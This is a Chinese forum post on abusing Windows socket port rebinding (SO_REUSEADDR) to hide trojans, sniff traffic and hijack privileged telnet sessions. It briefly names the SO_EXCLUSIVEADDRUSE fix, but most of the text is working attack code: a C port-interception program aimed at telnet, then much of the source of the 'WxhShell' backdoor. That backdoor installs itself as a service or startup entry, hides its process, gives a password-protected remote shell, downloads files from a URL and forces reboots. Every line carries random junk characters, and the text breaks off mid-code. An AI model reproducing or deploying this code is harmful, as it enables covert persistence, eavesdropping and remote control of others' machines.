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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nt/+?Sj  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k~(j   
I[~EQ {Iz  
  saddr.sin_family = AF_INET; 6AZJ,Q\E@  
+DWmutL  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); B%v2)+?@  
?G5JAG`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); .b4_O CGg  
9.KOrg5}L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [e2sUO0~r  
;CU<\  
  这意味着什么?意味着可以进行如下的攻击: *0 ;DCUv  
-%&_LE9ZtS  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 -fl?G%:(!0  
FtUOgL)|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) &S}i)Nu6J  
;;zKHS  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 U&fOsx?"  
U/ncD F%C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  cxTP4\T\E  
sOSol7n  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 x?J- {6k  
` Nn^   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kIAWI;H{  
r h*Pl]'3z  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 U9D4bn D  
{emO&#=@CP  
  #include r( _9_%[  
  #include Gy9+-7"V  
  #include uiO7sf6  
  #include    w_po5[]R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   |kvom 4T  
  int main() S~\i"A)4  
  { a!,q\p8<t0  
  WORD wVersionRequested; kL.JrbM"  
  DWORD ret; f>)k<-<yj  
  WSADATA wsaData; r\y~ :  
  BOOL val; oYNP,8r^  
  SOCKADDR_IN saddr; u>Z0ug6x  
  SOCKADDR_IN scaddr; Epm\ =s  
  int err; 3~"G(UP  
  SOCKET s; fF208A7U I  
  SOCKET sc; ^|@t2Rp@  
  int caddsize; h+k:G9;sS  
  HANDLE mt; +OFq=M  
  DWORD tid;   `A@{})+  
  wVersionRequested = MAKEWORD( 2, 2 ); iH& Izv  
  err = WSAStartup( wVersionRequested, &wsaData ); N|c;Qzl  
  if ( err != 0 ) { O:fv1  
  printf("error!WSAStartup failed!\n"); 4@PH5z  
  return -1; bk E4{P"  
  } ,?GEL>F  
  saddr.sin_family = AF_INET;  {g?$u  
   xrX^";}j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 )v1n#m,W  
ylF%6!V}4V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ':8yp|A|  
  saddr.sin_port = htons(23); U2=l; R{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,K Ebnk|i  
  {  Z(p kj  
  printf("error!socket failed!\n"); &B uO-  
  return -1; SxLu<  
  } <d,Qi.G4  
  val = TRUE; o5gt`H"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 'c 0]8Y 4  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1 dT1DcZ  
  { f&glY`s#  
  printf("error!setsockopt failed!\n"); +Zu*9&Cx  
  return -1; @Otom'O  
  } oD]tHuDa  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; cq`v8  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1u&}Lq(  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 w66iLQ\@  
>3V{I'^^-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $:V'+s4o  
  { h#9X0u7j  
  ret=GetLastError(); [z$th  
  printf("error!bind failed!\n"); OD !b*Iy|  
  return -1; 2xvTijO0  
  } !|{T>yy  
  listen(s,2); q"OvuHBSOn  
  while(1) z=>U>  
  { <A +VS  
  caddsize = sizeof(scaddr); R]e?<,"X  
  //接受连接请求 'Z#8]YP`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~"89NVk"  
  if(sc!=INVALID_SOCKET) $pK2H0c  
  { 8^CdE*a  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 8KRm>-H)  
  if(mt==NULL) tgy*!B6a~  
  { |Id0+-V ?  
  printf("Thread Creat Failed!\n"); !Mp.jE  
  break; y@"6Dt|  
  } (j;s6g0  
  } 62~8>71;'  
  CloseHandle(mt); W'x/Kg,w-  
  } 7Z0fMk  
  closesocket(s); mt$0p|B8  
  WSACleanup(); v'(p."g  
  return 0; n>?o=_|uR  
  }   e[f}Lxln  
  DWORD WINAPI ClientThread(LPVOID lpParam) Y.&nxT95=  
  { >[;+QVr;  
  SOCKET ss = (SOCKET)lpParam; @l:\0cO  
  SOCKET sc;  L5/J  
  unsigned char buf[4096]; iB1"aE3  
  SOCKADDR_IN saddr; 6qQdTp{i  
  long num; F)'kN2  
  DWORD val; .6Tan2[%  
  DWORD ret; XVcY?_AS#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (LzVWz m  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Lu,72i0O ^  
  saddr.sin_family = AF_INET; Tg|0!0qD]F  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zKB$n.H  
  saddr.sin_port = htons(23); Jhdo#}Ub  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R7u&`  
  { hw/ :  
  printf("error!socket failed!\n"); ]cvP !  
  return -1;  }t}y  
  } @&(0]kZ6  
  val = 100; EYNi`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rnW(<t"  
  { rM/Ona2x  
  ret = GetLastError(); z+IBy+  
  return -1; {%W'Zx  
  } ^]}+ s(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8."B  
  { rw(EI,G  
  ret = GetLastError(); aMdWT4  
  return -1; +VxzWNs*JP  
  } EM9K^l`  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) wp7<0PP  
  {  [@YeQ{  
  printf("error!socket connect failed!\n"); [w&B>z=g$  
  closesocket(sc); .} al s  
  closesocket(ss); *Ii_dpJ  
  return -1; wWjZXsOd  
  } qzD<_ynA  
  while(1) %mKM9>lf#  
  { *HiN:30DZ  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 wq$+m (  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?:DeOBAb  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Gf``0F)  
  num = recv(ss,buf,4096,0); j4pxu/2  
  if(num>0) zf+jQ  
  send(sc,buf,num,0); 4#?Sxs  
  else if(num==0) MYyV{W*T>  
  break; % NSb8@  
  num = recv(sc,buf,4096,0); <y4hK3wP  
  if(num>0) o~<ith$A*  
  send(ss,buf,num,0); >@?!-Fy5  
  else if(num==0) h"R{{y f2  
  break; }7)iLfi  
  } E6+c{41B  
  closesocket(ss); H,8HGL[l  
  closesocket(sc); >Pa&f20Hp  
  return 0 ; IZ?+c@t  
  } j{QzD^t  
CshYUr -  
[_kis  
========================================================== WBc,/lgZ  
ux>wa+XFa  
下边附上一个代码,,WXhSHELL cV8Bl="gqe  
O^/z7,  
========================================================== %DOV)Qc2  
rjk{9u1a"  
#include "stdafx.h" u*n%cXY;J/  
JK.<(=y\  
#include <stdio.h> $W}YXLFj?  
#include <string.h> BF)!VnJ  
#include <windows.h> 1nGpW$Gx  
#include <winsock2.h> 2h=QJgpCG  
#include <winsvc.h> Z'hHXSXM  
#include <urlmon.h> f%#q}vK-  
'P'f`;'_DC  
#pragma comment (lib, "Ws2_32.lib") ":igYh  
#pragma comment (lib, "urlmon.lib") ,u.G6"<  
vGX L'k  
#define MAX_USER   100 // 最大客户端连接数 &Ul8h,qw  
#define BUF_SOCK   200 // sock buffer o/dj1a~U  
#define KEY_BUFF   255 // 输入 buffer y}5:CZ  
ULT,>S6r  
#define REBOOT     0   // 重启 t[=-4;  
#define SHUTDOWN   1   // 关机 y6#AL<W@=  
2g0_[$[m  
#define DEF_PORT   5000 // 监听端口 xlKg0 &D  
Cpg>5N~;L  
#define REG_LEN     16   // 注册表键长度 `2 6t+Tb  
#define SVC_LEN     80   // NT服务名长度 Uw!N;QsC  
rJz`v/:|P  
// 从dll定义API kH4xP3. i  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W=-:<3XL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WR :I2-1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @O]v.<8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "+dByaY  
- K%hug  
// wxhshell配置信息 n?a?U:  
struct WSCFG { >^!)G^B  
  int ws_port;         // 监听端口 1@}s:  
  char ws_passstr[REG_LEN]; // 口令 *'l|ws  
  int ws_autoins;       // 安装标记, 1=yes 0=no H;D CkVL  
  char ws_regname[REG_LEN]; // 注册表键名 1 r9.JS  
  char ws_svcname[REG_LEN]; // 服务名 Sv#S_jh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b=$(`y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QZZt9rA;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5Z]]xR[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  Y%zYO  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ny l[d|pVa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 H{1'OC  
.X.,.vHx  
}; &=>|? m8  
v?O6|0#x  
// default Wxhshell configuration GS)4,.  
struct WSCFG wscfg={DEF_PORT, Kry^ 47"  
    "xuhuanlingzhe", L9} %tEP  
    1, n.l7V<1  
    "Wxhshell", Od]B;&F  
    "Wxhshell", d,XNok{  
            "WxhShell Service", k=&UV!J  
    "Wrsky Windows CmdShell Service", K| w\KX0  
    "Please Input Your Password: ", 07 E9[U[  
  1, d_] sV4[  
  "http://www.wrsky.com/wxhshell.exe", YJm64H,[  
  "Wxhshell.exe" !5^&?plC@  
    }; qK-\`m  
]8o[&50y  
// 消息定义模块 \c(Z?`p]R1  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "K)ue@?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; JIOeDuw+  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; E{8-VmY  
char *msg_ws_ext="\n\rExit."; Sv>bU4LHf  
char *msg_ws_end="\n\rQuit."; bdYx81  
char *msg_ws_boot="\n\rReboot..."; Eb~e=){  
char *msg_ws_poff="\n\rShutdown..."; {lO>i&mx  
char *msg_ws_down="\n\rSave to "; hd%O\D?  
cOoF +hz0O  
char *msg_ws_err="\n\rErr!"; H"b}lf  
char *msg_ws_ok="\n\rOK!"; crlCN  
pPH"6   
char ExeFile[MAX_PATH]; YZ(tjIgQ  
int nUser = 0; ,t|qhJF  
HANDLE handles[MAX_USER]; Lk`,mjhk  
int OsIsNt; HceZTe@  
iF^    
SERVICE_STATUS       serviceStatus; |T+YC[T#v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CFW#+U#U  
T`W37fz0  
// 函数声明 6` 4,  
int Install(void); phP%  
int Uninstall(void); =IEei{  
int DownloadFile(char *sURL, SOCKET wsh); c[zGWF#1>  
int Boot(int flag); w|[{xn^R  
void HideProc(void); /oC@:7  
int GetOsVer(void); P ~rTuj  
int Wxhshell(SOCKET wsl); =u<jxV9  
void TalkWithClient(void *cs); `)n/J+g  
int CmdShell(SOCKET sock); p%#=OtkC  
int StartFromService(void); ZxoAf;U~  
int StartWxhshell(LPSTR lpCmdLine); S%IhpTSe6  
DP6>fzsl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s$ZKd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); n eBcS[  
qBF}-N_  
// 数据结构和表定义 hOM#j  
SERVICE_TABLE_ENTRY DispatchTable[] = J/>9w  
{ ["BD,mB  
{wscfg.ws_svcname, NTServiceMain}, G_v^IM#B=  
{NULL, NULL} ojbms>a  
}; i~ITRi@  
m ?#WQf  
// 自我安装 Jq8:33s   
int Install(void) z;lWr(-x  
{ _)a!g-Do7  
  char svExeFile[MAX_PATH]; cL+bMM$4r~  
  HKEY key; Sej(jJX1  
  strcpy(svExeFile,ExeFile); 8T"8C  
@$R^-_m  
// 如果是win9x系统,修改注册表设为自启动 $TY 1'#1U;  
if(!OsIsNt) { uZXG"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i:n1Di1~E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I*EHZctH  
  RegCloseKey(key); u!TMt8+c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { P*g:rg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cNG`-+U'  
  RegCloseKey(key); =y]F cxF  
  return 0; !f01.Tq8  
    } +z O.|`+  
  } !)HB+yr  
} a~w l D.P  
else { il~A(`+YO  
"7}e~*bM?`  
// 如果是NT以上系统,安装为系统服务 LB/1To  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8],tGMu  
if (schSCManager!=0) It8s#oq8  
{ -`ss7j&b3  
  SC_HANDLE schService = CreateService Co^GsUJ  
  ( 0I7 r{T  
  schSCManager, -:|t^RM;FT  
  wscfg.ws_svcname, I`uOsZBO/  
  wscfg.ws_svcdisp, _5H0<%\  
  SERVICE_ALL_ACCESS, UE 1tm  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3)3$ L  
  SERVICE_AUTO_START, J{r3y&:  
  SERVICE_ERROR_NORMAL, v O@7o  
  svExeFile, CH] +S>$  
  NULL, qrkJ:  
  NULL, ~mk>9Gp  
  NULL, ^-g-]?q  
  NULL, 6I-Qq?L[H  
  NULL {33B%5n"  
  ); w'&QNm>  
  if (schService!=0)  `s~[q  
  { yv2wQ_({  
  CloseServiceHandle(schService); !Nx'4N`&l  
  CloseServiceHandle(schSCManager); I`S?2i2H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); N'=b8J-fF  
  strcat(svExeFile,wscfg.ws_svcname); R:, |xz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z>_F:1x  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9PWqoz2c  
  RegCloseKey(key); 2SJ|$VsLaE  
  return 0; `FRdo  
    } arb'.:[z^  
  } L%31>)8  
  CloseServiceHandle(schSCManager); 6rh^?B  
} n7iIY4gZ  
} VY j pl  
Xo ,U$zE  
return 1; {LqahO*  
} 9IJc9Sv(  
U IHe^?R  
// 自我卸载 25/M2u?  
int Uninstall(void) ?;ovh nY)  
{ 4N_iHe5U  
  HKEY key; g$^I/OK?  
B; r` 1 G  
if(!OsIsNt) { ?7\$zn)v#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qkx}A7sK  
  RegDeleteValue(key,wscfg.ws_regname); bxvpj  
  RegCloseKey(key); &m{vLw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?xYoCn}Z  
  RegDeleteValue(key,wscfg.ws_regname); 3?uah' D5  
  RegCloseKey(key); O%m>4OdH  
  return 0; I2e@_[ 1  
  } jI45X22j  
} NzG] nsw  
} *s6(1 S  
else { Ae^ Idz  
P"<,@Mn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f#| wb~  
if (schSCManager!=0) %Z { 7*jtE  
{ i1DJ0xC]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); A?ij  
  if (schService!=0) !"s~dL,7  
  { D |9ItxYu  
  if(DeleteService(schService)!=0) { (<ngdf`,  
  CloseServiceHandle(schService); ~zyD=jx P9  
  CloseServiceHandle(schSCManager); V@`A:Nc_>  
  return 0; ?~WDl j3  
  } QRlrcauM  
  CloseServiceHandle(schService); z~\Y*\f^Y3  
  }  3;f}w g  
  CloseServiceHandle(schSCManager); 'FwNQzzt  
} 9y`Vg  
} CkEbSa<)hK  
r"=6s/q7  
return 1; ;Ff5ooL{  
} nPj &a  
7R=A]@  
// 从指定url下载文件 ?f4jqF~Fh  
int DownloadFile(char *sURL, SOCKET wsh) G\/7V L  
{ MRa |<yK  
  HRESULT hr; *Fm#Qek  
char seps[]= "/"; T )"U q  
char *token; eWU@ @$9  
char *file; U_ *K%h\m  
char myURL[MAX_PATH]; _aK4[*jnqh  
char myFILE[MAX_PATH]; V J]S"  
SEsLJ?Dv0  
strcpy(myURL,sURL); _>(qQ-Px  
  token=strtok(myURL,seps); k8O%gO  
  while(token!=NULL) C252E  
  { Ct0YwIR*  
    file=token; qL/XGIxL?  
  token=strtok(NULL,seps); a:}&v^v  
  } O%p+P<J  
 d>}R3T  
GetCurrentDirectory(MAX_PATH,myFILE); Q}kXxud  
strcat(myFILE, "\\"); ;*q  
strcat(myFILE, file); Uq:CM6q\  
  send(wsh,myFILE,strlen(myFILE),0); (cdtUE8  
send(wsh,"...",3,0); taqmtXU=(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jpr`E&%I6  
  if(hr==S_OK) "t:9jU  
return 0; } TsND6Ws3  
else Is#w=s}2  
return 1; OpxJiu=W  
\Zmn!Gg  
} q.Vcb!*$  
  7)  
// 系统电源模块 -/gAb<=  
int Boot(int flag) 6*%E4#4  
{ vz}_^8O  
  HANDLE hToken; P"ATqQG%D  
  TOKEN_PRIVILEGES tkp; l_0/g^(  
oz#;7 ?9  
  if(OsIsNt) { (#5TM1/A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {5J: ]{p  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); y5$AAas  
    tkp.PrivilegeCount = 1;   ]n (:X  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $}z%}v  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); pPnJf{  
if(flag==REBOOT) { 1^^9'/  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bZd)4  
  return 0; :%kJ9zW  
} &N\4/'wV  
else { 6qq{JbK  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :?J0e4.]  
  return 0; ,e!9WKJ B  
} {aVL3QU  
  } k!= jO#)Rd  
  else { 5#hsy;q;[  
if(flag==REBOOT) {  jgd^{!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2kV{|`1  
  return 0; bbAJ5EqL  
} j  hr pS  
else { 0="U'|J_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cH{[\F"Eb  
  return 0; wxIWh>pZa  
} +RN|ZG&  
} ddG5g  
VMgO1-F  
return 1; 3,$G?auW  
} 04P!l  
3Q_L6Wj~  
// win9x进程隐藏模块 '?j,oRz^T  
void HideProc(void) ,G%?}TfC)  
{ _1U7@v:<@  
ebmU~6v k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Df_*W"(v  
  if ( hKernel != NULL ) ED=P  6u  
  { C|H/x\?zRv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *7:HO{P>Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j/*4Wj[  
    FreeLibrary(hKernel); Q=T/hb  
  } CZ.XEMN\  
{ ((|IvP`  
return; aFtL_# U  
} mCQn '{)  
<[w>Mbqj_  
// 获取操作系统版本 n1 kh8,  
int GetOsVer(void) 9&7$oI$!J  
{ hB 36o9|9  
  OSVERSIONINFO winfo; OF/DI)j3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); mjXO}q7  
  GetVersionEx(&winfo); @>4=}z_e  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) g@][h_? {  
  return 1; M<VZISu)dy  
  else (J,^)!g7  
  return 0; ,!'L~{  
} iQj2aK Gs  
M@?,nzs K  
// 客户端句柄模块 ?K/N{GK%{  
int Wxhshell(SOCKET wsl) ITf, )?|]Y  
{ \Cz uf   
  SOCKET wsh; dlB?/J<  
  struct sockaddr_in client; (cLcY%$  
  DWORD myID; |T;NoWO+  
fjwUh>[ }  
  while(nUser<MAX_USER) h:l4:{A64  
{ TOvpv@?-  
  int nSize=sizeof(client); Z%1{B*(e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >p,FAz>  
  if(wsh==INVALID_SOCKET) return 1; W\l"_^d*  
f )K(la^'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Mw9;O6  
if(handles[nUser]==0) |(6H)S]$  
  closesocket(wsh); %jRqrICd  
else JMIS*njq^  
  nUser++; O~=|6#c  
  } "E/UNE6P4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 3D*vNVI  
n\G88)Dv`V  
  return 0; _hbTxyj  
} qsTB)RdjP%  
p:@JCsH=  
// 关闭 socket #V:28[  
void CloseIt(SOCKET wsh) >;M?f!  
{ gHe%N? '  
closesocket(wsh); QGI_aU  
nUser--; E,g5[s@  
ExitThread(0); r"aJ&~8::W  
} \$%q< _l  
u/g4s (a  
// 客户端请求句柄 }8,[B50  
void TalkWithClient(void *cs) |E =8  
{ TU(w>v  
LA%t'n h  
  SOCKET wsh=(SOCKET)cs; i<uWLhgh1$  
  char pwd[SVC_LEN]; SB}0u=5  
  char cmd[KEY_BUFF];  q{*4BL'  
char chr[1]; 6}xFE]Df-Y  
int i,j; ^g eC?m  
%\ef Mhn  
  while (nUser < MAX_USER) { ghu8Eg,Y  
NP_b~e6O=  
if(wscfg.ws_passstr) { _b(y"+k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); etk@ j3#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0X'2d  
  //ZeroMemory(pwd,KEY_BUFF); ;\[ el<Y)s  
      i=0; Ja(>!8H>@  
  while(i<SVC_LEN) { [sF z ;Py]  
z0Bw+&^]}  
  // 设置超时 NL76 jF  
  fd_set FdRead; 5Dv ;-G;  
  struct timeval TimeOut; h%yw'?s  
  FD_ZERO(&FdRead); m\O|BMHn  
  FD_SET(wsh,&FdRead); c2iPm9"eh  
  TimeOut.tv_sec=8; C\WU<!  
  TimeOut.tv_usec=0; ;DXcEzV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JVx ,1lth  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); uv$t>_^  
? pkg1F7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c5f8pa *  
  pwd=chr[0]; M^twD*  
  if(chr[0]==0xd || chr[0]==0xa) { tbr1mw'G  
  pwd=0; G*x"drP  
  break; 6;8Jy  
  } z/&2Se:  
  i++; "`'' eV3  
    } 8p)*;Y  
RHOEyXhOA  
  // 如果是非法用户,关闭 socket ds9L4zfO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /y~ "n4CK~  
} )QO"1#zg@c  
a&*fk?o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 43p0k&;-7  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XKEd~2h<y  
M*x1{g C/  
while(1) { Ous_269cM  
PIxd'B*MF  
  ZeroMemory(cmd,KEY_BUFF); A,4|UA?-  
{vL4:K  
      // 自动支持客户端 telnet标准   Ka$YKY,  
  j=0; sMhUVc4  
  while(j<KEY_BUFF) { b9(_bsc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q=H dGv  
  cmd[j]=chr[0]; B-`,h pp  
  if(chr[0]==0xa || chr[0]==0xd) { q\fZ Q  
  cmd[j]=0; Vs0T*4C=n  
  break; 5u=(zg  
  } ?%Pd:~4D  
  j++; lNw8eT~2  
    } Gj%cU@2  
2V*<HlqOif  
  // 下载文件 rnV\O L  
  if(strstr(cmd,"http://")) { }#3'72  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <E`Ygac  
  if(DownloadFile(cmd,wsh)) ,(  ?q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); I2R" Y<  
  else ck WK+  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >hcze<^S  
  } |_7AN!7j  
  else { ;>z.wol  
>%o\Ue  
    switch(cmd[0]) { e t$VR:  
  9ne13 qVm+  
  // 帮助 [-$:XOO  
  case '?': { {+&qC\YF  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ('u\rc2 R  
    break; {xGM_vH1  
  } H(~:Ajj+zQ  
  // 安装 ?^< E#2a  
  case 'i': { c[I4'x  
    if(Install()) FYs-vW{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \UF/_'=K  
    else }eO{+{D +  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o JLpFL  
    break; {vf"`#Q9  
    } /4}B}"`Sl=  
  // 卸载 mT7B#^H  
  case 'r': { kX2bU$1Q,i  
    if(Uninstall()) i#lnSJ08  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dV( "g],  
    else ])sIQ{P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l|z0aF;z  
    break; b,8\i|*!f  
    } `=zlS"dQ  
  // 显示 wxhshell 所在路径 qkEre  
  case 'p': { ?Bdhn{_  
    char svExeFile[MAX_PATH]; !FqJP OGm  
    strcpy(svExeFile,"\n\r"); /g_cz&luR  
      strcat(svExeFile,ExeFile); zB?} {@  
        send(wsh,svExeFile,strlen(svExeFile),0); p:GB"e9>H  
    break; b3Uw"{p  
    } fXV+aZ  
  // 重启 xxsax/h  
  case 'b': { 7l%]/`Y-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _Prh&Q1zs  
    if(Boot(REBOOT)) 1j9R^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); - DO  
    else { Ob+Rnfx37  
    closesocket(wsh); M$9?{8m  
    ExitThread(0); m!qbQMXn  
    } IsC`r7  
    break; +p%!G1Yz  
    } 3Dd"qON!  
  // 关机 ZJ$nHS?ra  
  case 'd': { R8*z}xy{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?OYK'p.  
    if(Boot(SHUTDOWN))  <:,m  
